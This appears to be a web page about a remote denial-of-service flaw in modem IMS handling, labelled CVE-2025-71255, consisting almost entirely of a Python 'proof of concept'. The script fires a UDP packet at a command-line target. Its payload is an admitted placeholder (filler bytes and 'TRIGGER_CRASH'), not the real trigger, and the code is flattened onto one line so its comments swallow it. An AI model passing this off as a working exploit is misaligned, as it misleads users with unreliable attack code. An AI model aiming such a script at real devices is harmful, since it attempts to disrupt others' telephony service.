CVE-2025-71255 Modem IMS远程拒绝服务漏洞

# This is a conceptual PoC for CVE-2025-71255 # Actual packet structure depends on the specific IMS vulnerability trigger. import socket import sys def send_ims_dos_packet(target_ip, target_port): try: # Create a raw socket (requires root privileges) # or standard UDP/TCP socket depending on the transport layer used by IMS # Assuming UDP for SIP/IMS signaling on a common port sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Malformed payload designed to trigger input validation failure # This is a placeholder for the actual trigger pattern malformed_payload = b"\x00\x01\x02\x03" + b"\x41" * 1000 + b"TRIGGER_CRASH" print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(malformed_payload, (target_ip, target_port)) print("[+] Packet sent successfully.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python cve_2025_71255_poc.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_ims_dos_packet(target_ip, target_port)